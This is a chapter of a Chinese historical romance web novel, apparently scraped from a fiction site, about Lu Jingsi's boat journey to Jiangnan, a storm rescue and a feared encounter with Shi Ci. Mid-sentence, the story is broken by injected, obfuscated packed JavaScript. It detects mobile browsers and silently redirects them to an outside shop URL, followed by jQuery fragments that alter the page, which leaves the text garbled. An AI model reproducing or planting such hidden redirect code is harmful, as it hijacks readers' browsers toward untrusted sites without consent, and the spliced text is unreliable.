丑时的通州码头,雾从水面升起来,船缆解开了,篙子点向石岸,闷闷的一声,船身慢慢横过来,橹入水时没声音,只留下浅浅的涡。
戴着斗笠和面纱的女人身后跟着几个丫鬟静悄悄的上了船舱,此人正是陆浄思,此番她要前往江南,一一与陆家旧将会面。
她卸下头上带的东西,随手搁到客房里的木桌上,活动了下手腕,才深叹一口气,躺在床铺了。
陆浄思几日前就匆忙出发,来不及了,箫亦沅比前世动手的时机早了很多,陛下被下毒本该是一年后的事,如今却提早了这么多,那她也得把一些事提上日程了。
她们一行人从京城走陆路到达通州,再转水路前往江南。
江南富饶,新帝登基后除了将前朝将军暗戳戳扣押在京城内,更是把这些功臣调离实权职位,送去这些并无战乱之地,看似皇恩浩荡体贴军心,实则也是一种变相的废权罢了。
“小姐。”一个陌生样貌的小侍女,怯生生的问她,“现在要卸下发饰吗?”
陆浄思点点头,任由女孩在她头上摆弄。
现在跟着她的几个丫鬟都是她昨日才在通州买的新人,之前跟着她的那些都是箫亦沅的人,陆浄思在通州将她们全都换掉,就算她们即刻写信通知箫亦沅,也至少需要三四日,而那时的她早就到江南了。
无论箫亦沅再怎么迅速,也无法得知她这段日子里的行踪。
小丫鬟想为她脱衣伺候她歇下,陆浄思却拒绝了,反倒独自是走出客房,穿过弯弯绕绕的船舱内部,到了甲板上。
虽已寅时,但甲板上的人却不见减,更是三三两两的趴着杆上朝外看,陆浄思好奇,便也往外围探了几步。
陆浄思顺着他们的目光看过去。
江面上起了雾,不是寻常的白雾,那雾贴着水面,一层一层从江底翻涌上来,像有什么东西在水下烧开了锅,蒸腾出这一片白茫茫的气,雾不往上飘,只贴着水面滚,一团一团的,像活的一般。
“这水真好玩。”旁边有幼童嬉闹着探出头望向外面,“像洗澡的热水。”
陆浄思皱起眉,她虽不通水性,却也觉得这景象不太对。
突然!船身剧烈晃动,陆浄思扶住栏杆才堪堪站住,随即而来的就是持续不断的轻晃,不是那种被浪推着的晃,而是一下一下的,从底下往上顶,像有什么庞然大物在江底翻身。
旁边一个老人脸色骤然大变,小声嚷嚷着什么“江魃!这是江魃!这下完了!!”
说完他就拄着拐颤颤巍巍的奔进船舱,可惜甲板上声音太过吵杂,并无几人听见他声音。
江面依然平静,实在平静有些过分诡异,但那层白雾却越滚越浓,把远处几点渔火都吞没了,船身慢慢的晃得比方才厉害些,橹在水里发出轻轻的咕咚声。
从船舱中跑出一个老船夫,扯着嗓子大喊,“都进来!快都进来!风浪要来了。”
下一秒,变故仿佛应声而来,船身便猛地一倾,陆浄思脚下不稳,整个人朝船舷撞去,幸而手快,一把攥住了湿漉漉的缆绳,才堪堪稳住身体。
她往江面看了一下眼,才知道现在有多么危险,江面裂了!方才还贴着水皮翻滚的白雾,一瞬间被撕得粉碎,平静的江面瞬间翻滚起汹涌的波涛,整个船身开始大幅度的摇摆。
甲板上迸发出巨大的嘈杂声,原本那些看风景的、嬉戏玩闹的人,都开始一股脑的往船舱内涌,但马门狭窄,仅能容纳几人同时通过,于是越多人想挤进船舱,就有越多人被困在甲板。
风变得更大了,陆浄思紧紧攥着手里的缆绳往安全的地方挪动,一步一步的走动。
甲板上的大多数人因为船身剧烈的晃动而跌倒在地,只能随着晃动而撞来撞去,黑压压的一堵水墙扑来,在光里一瞬间翻起白沫,然后啪地砸下来,把灯光也砸灭了。
一时间大家都陷入了黑暗。
陆浄思才摸索的走到了栏杆旁,又是一道浪波袭来!那浪重重的打在船头,嘭的一声闷响,船头高高翘起,又重重砸下,她死死攥着栏杆,身子悬在船舷边,只觉得五脏六腑都被这一下颠错了位。
才站起身,她又感觉有什么东西从身侧飞起。
“扑通”一声。
传来沉闷的落水音,有女人在远处尖叫,“孩子!孩子掉下去了!谁帮帮我!”
陆浄思立马扒着杆探头往船下望去,江面此时已无法看见任何一丝平静的水域,一个蓝色的身影被绳子挂在船的外侧。
是个孩子!一个五岁大的男孩!
绳子本是系在船舷铁环上的,浪把船打得歪了又歪,缆绳松了,垂下去卡在了船身上,正好把他挂住,他整个身子悬在船外,随着船身起伏,一上一下,一上一下。
浪落时,男孩半个身子露出水面,脸白得像纸,眼睛闭着,嘴唇乌青。
浪起时,水涌上来,没过他头顶,只剩那两只小手还露在外面,指节泛出青白色。
他就这样被浪托起来,又按下去,像是昏迷了一样,没有发出一声呼喊。
陆浄思探出身子去够他,但她个子矮手臂短,那孩子就在眼前,一伸手的距离,可她就是够不着。
眼见着他的气息越来越微弱,陆浄思咬咬牙,再用力探出栏杆试图拉住他的双手,她几乎整个人几乎悬在栏杆外,手臂抵死往前够,但也只能堪堪用指尖触碰到那孩子的指尖。
就差一点!
可陆浄思心里清楚,她不会再尝试了。
风浪太大,她撑不了多久,栏外是深不见底翻滚着的江水,若是这一次还拉不上来,她便只能放手。
说她无情也好,冷漠也罢。
但她不能死在这里。
在陆浄思松手的一刹那,又是一波巨浪翻滚着拍来,这一浪与前头都不同,不是从正面推过来的,而是从船底往上涌,顿时船身被浪托起来,斜到几乎倾覆,桅杆嘎吱作响,有人尖叫着滚进舱里。
陆浄思只觉得身子一轻,她整个人被甩了出去,双脚离了甲板,整个人悬在半空,下面就是翻涌的江水,黑压压的,一张嘴就能吞掉一个人。
恐惧让她瞬间脑海一片空白。
一双大手扑了上来,死死扣住她的腰肢,硬生生将她往外飞的身体拽了回来,两人一起倒在甲板上,浪从头顶越过,砸在船舷上,溅起的水花浇了他们满身满头。
“陆小姐,你没事吧!”
陆浄思还未回过神,就听见耳边的人喘着粗气,在她耳边说话。
这熟悉的声音!?陆浄思不可置信的回头,身后的男人也松开抚在她腰上的双手,两个人之间的距离太近太近,几乎是贴在了一起,双目对视时,她甚至能从他的眼睛里看见自己。
“周怀安,你怎么…”陆浄思话还没问完,周怀安便起身往船外侧爬去,她不得不赶了上去想要拉住他。
“周怀安!你去做什么!小心!”船身仍不稳当。
“……我……救……”
风浪将她的秀发吹的四处飞散,他们之间的话语也被吹的稀碎,陆浄思几乎听不清他的声音,一眨眼的功夫,周怀安人就消失在了船上。
陆浄思抓紧栏杆探出头,就看见周怀安一手紧抓缆绳,另一手把挂在船外侧的男孩紧紧抱在怀里。
她马上抓住周怀安的胳膊,生拉硬拽的将两人拖回甲板上,气还没喘匀,就锤了他一拳,气势汹汹的质问,“知不知道危险?刚刚你要是掉下去了神仙也救不回来!”
周怀安任她捶了一拳,也没躲,只等她喘匀了气,才轻声开口:
“我方才听见有人喊救命。”看陆浄思仍一副担忧的神情,又说:
“我家就在江边,从小游惯了的,陆小姐不必担心。”
说着,便起身站起,将手递给陆浄思,船
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323425|199067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身摇晃,她只能借助他的手才能勉强直立行走。
几个老船夫急匆匆的疏散了半天人群,才勉强将大部分甲板上的旅客塞进了船舱内的大厅里,那里本身富贵人家设宴摆庭之地,如今却挤满了各种平民百姓人家,陆浄思和周怀安也被船夫带到了这里。
陆浄思本想就这样回客房,整理下身上的湿衣裳,换套干净的,但或许是刚经历这样急迫的事情,大家都稍显躁动,声音又杂又乱,她既找不到自己带来的几个新丫鬟,又找不到回客房的路,最后只好和周怀安一起走大厅里坐下了。
两人才坐定,便听见不远处传来几声压低了的笑。
“哟,周怀安,这是从哪儿带回来的人?”
陆浄思抬眼望去,角落里或坐或站着七八个年轻男子,看衣着打扮皆是读书人模样,只是那料子都比不得京城世家子弟身上的精细,说话的是个圆脸青年,正歪着头朝这边看,眼睛里带着几分促狭。
周怀安还没来得及开口,旁边又有人接话:“难怪方才一转眼人就不见了,原来是英雄救美去了。”
“别瞎说。”周怀安垂下眼,耳根却悄悄红了一片。
那圆脸青年笑得更欢了:“哟,还脸红?我可头一回见咱们周大才子这副模样。”
陆浄思垂着眼,只当没听见。
旁边一个瘦高个儿推了推那圆脸青年:“行了行了,别闹了,船上这么多人挤着,人家姑娘也是没办法才来这儿坐的。”
陆浄思这时才发觉,原来这些人都是集贤书院的书生们,她转头看了一眼周怀安,又问,“你们这是去?”
“江南。”圆脸笑嘻嘻的回答。
“都去吗?”陆浄思皱眉,她隐约记得现在离殿试的日期并不远了。
他的脸一下子就吊了下去,嘴里嘟嘟囔囔的,“哪能啊。”
瘦高个儿嗤了一声,“齐家那几个,说是什么家里老太太身子不爽利要侍疾;韦家那两个,说兄长要成亲得回去帮忙。你听听,这是人话吗?”
他说着,声音压低了些,“不就是嫌这趟路远,又是坐船又是走陆路的,怕吃苦呗。”
旁边一个一直没说话的年轻人叹了口气:“他们不来正好,来了也是摆架子。只是这一趟回去就要殿试了,人家在府里舒舒服服温书,咱们在这船上晃荡,晃到江南还得去拜访什么先贤故居,说是游学,谁不知道是走个过场。”
“可不是。”圆脸青年撇了撇嘴,“等回了京,人家养足了精神进考场,咱们一个个累得跟狗似的,这还没考呢,就先输一截。”
话说到这儿,几个人都沉默了一瞬,也可能是有陆浄思陆浄思这个外人在,他们之后也没在提起这个话题了。
“话说…”有人拍了拍周怀安的肩膀。
“你看到时慈了吗?他不会在外面还没进来吧!”
时慈!?陆浄思的神经一下紧绷到了极致,德如那里的那个时慈?那个亲眼看见她以“祁王妃”身份出现在公主府的人?
他居然也在这艘船上?
陆浄思想抓住什么遮住自己的脸,她的面纱和斗笠都被搁在客房里,但如果就这样碰面,被时慈认出她的身份就完了。
“我去找找他。”有人站起身。
陆浄思几乎是弹起来的,她没来得及想,身体已经先动了,在那群少年书生的疑问中转头就逃。
她什么都顾不上,只知道必须走,必须在他看见她之前…
一抬头,一张脸就在她面前。
近得只有几拳的距离。
卷发,桃花眼,那张曾在公主怀里笑的很灿烂的脸,此刻正面对着她。
是时慈。
他也愣住了,显然没想到一进门就撞见个熟人。他的目光落在她脸上,眨了眨眼,瞳孔骤然收缩,声音骤然变大,
“祁……”
陆浄思心里咯噔一下,完了。